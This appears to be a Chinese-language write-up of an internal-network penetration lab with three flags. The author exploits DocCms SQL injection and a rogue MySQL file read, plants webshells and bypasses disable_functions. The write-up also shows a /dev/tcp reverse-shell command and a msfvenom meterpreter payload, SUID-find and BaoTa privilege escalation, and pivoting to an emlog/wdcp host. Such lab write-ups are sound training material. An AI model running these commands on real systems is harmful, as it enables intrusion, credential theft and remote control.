最近在做内网渗透相关姿势点的总结,打了一些靶场,本次内网网络拓扑图如下所示,中等进阶难度。
0x1:信息搜集
访问域名:
对域名解析的ip进行端口扫描:
nmap -sS --open -Pn -p- -v 192.168.0.122
对网站进行目录扫描和指纹识别发现网站使用的是DocCms 2016 x1.
0x2:漏洞利用
网上搜索doccms 2016历史漏洞,说搜索功能处参数keyword存在sql注入,使用url二次编码进行绕过。
成功获取到网站admin账号密码但无法进行解密:
从网上下载源码,发现/setup/checkdb.php文件可以连接远程的MySQL,所以可以利用mysql的bug读取文件。
使用Rogue-MySql-Server读取文件:
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb 这里获取到了网站的物理路径。
查看mysql.log文件,成功读取到/etc/passwd:
修改server.py文件中读取文件的路径为:
/www/wwwroot/www.ddd4.com/config/doc-config-cn.php
再次查看mysql.log获取到数据库名称、用户名、密码:
www_ddd4.com
www_ddd4_com
x4ix6ZrM7b8nFYHn
前面端口扫描发现目标机器的3306端口是开放的,直接进行连接:
连接成功后,替换网站管理员admin账户的密码,查看admin/login.php,发现对密码使用加密算法进行了加密。
我们来使用加密算法class.docencryption.php,对123456进行加密。
4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd将加密后的值进行替换。
使用密码123456登录到后台:
通过网站查找历史漏洞,可以使用模版来getshell:
这里刚开始写入普通的一句话木马,使用蚁剑连接,显示为空,但是查看phpinfo文件并没有将eval函数写入到disable_function当中,换了冰蝎可以连接成功。
但是无法执行命令,查看disable_function,禁用了很多函数。
这里使用脚本进行绕过,将文件夹里的.so文件与.php文件上传到网站的目录下面:
然后访问执行命令:
http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
直接使用sh反弹shell,反弹成功但是执行命令无反应:
/bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1
使用matespolite生成木马文件:
msfvenom -p
linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f elf >
/home/kali/Desktop/haha
将木马文件上传到目标主机,赋权后执行:
msf返回一个meterpreter
使用Python/ target=_blank class=infotextkey>Python返回一个交互式shell
查看文件获取到第一个flag
0x3:提权
使用find进行提权
使用命令find / -type f -perm -u=s 2>/dev/null 发现可以利用find命令来进行提权:
find . -exec whoami ; -quit 提权成功:
宝塔提权
翻看文件发现宝塔的账户密码:
登录到宝塔上,使用计划任务进行提权:
成功获取到第二个flag:
0x4:内网渗透
使用现在的root权限的shell来运行前面我们生产的木马文件,来获取一个meterpreter。
查看路由和hosts文件,发现存在10.10.10.144主机:
添加路由:
Run autoroute -s 10.10.10.0/24
Run autoroute -p
设置代理:
可以访问http://10.10.10.145:8888说明代理搭建成功。
使用msf自带的模块对10.10.10.144进行端口扫描,发现开放了21、22、80、8080端口:
浏览器代理访问www.ddd5.com弱口令进入后台,此站点使用的是emlog,网上搜索历史漏洞,发现后台可以通过上传模版来getshell。
从网上下载一个emlog模版,然后在文件里新建一个php一句话。
然后将压缩文件进行上传安装:
上传成功后,一句话文件的位置为
/content/templates/beginning/haha.php。
http://www.ddd5.com/content/templates/beginning/haha.php?cmd=id来执行系统命令。
访问8080端口:
使用默认密码wdlinux.cn无法登录,对目录扫描发现存在phpmyadmin使用默认密码登录成功,查看wdcpdb数据库,获取到admin用户的密码。
对密码进行md5解密获取到明文密码:
使用密码进行登录,发现显示登录超时,网上说是时间不同步导致的。
使用前面的一句话来查看系统当前的时间:
因为权限不够,无法修改目标机器的时间,但可以修改自己本地系统时间然后成功登录。
搜索wdcp利用方法,发现可以执行系统命令,当前用户为root。
但是无法使用bash进行反弹,然后考虑的是使用msfvenoom生产一个正向的木马文件,然后执行木马文件来上线msf,最后发现也是不行被拦截。
在安全管理-->ssh管理处生成密码,并将密钥下载下来:
利用proxychains使用ssh直接连接获取第三个falg。
在测试过中发现,doccms后台也可以使用写入配置文件来拿shell,然后在绕过disable_functions 时,刚开始想的是直接使用蚁剑的插件来绕过,但失败了,只好手工来绕过disable_functions,也学习了WDCP的利用方法。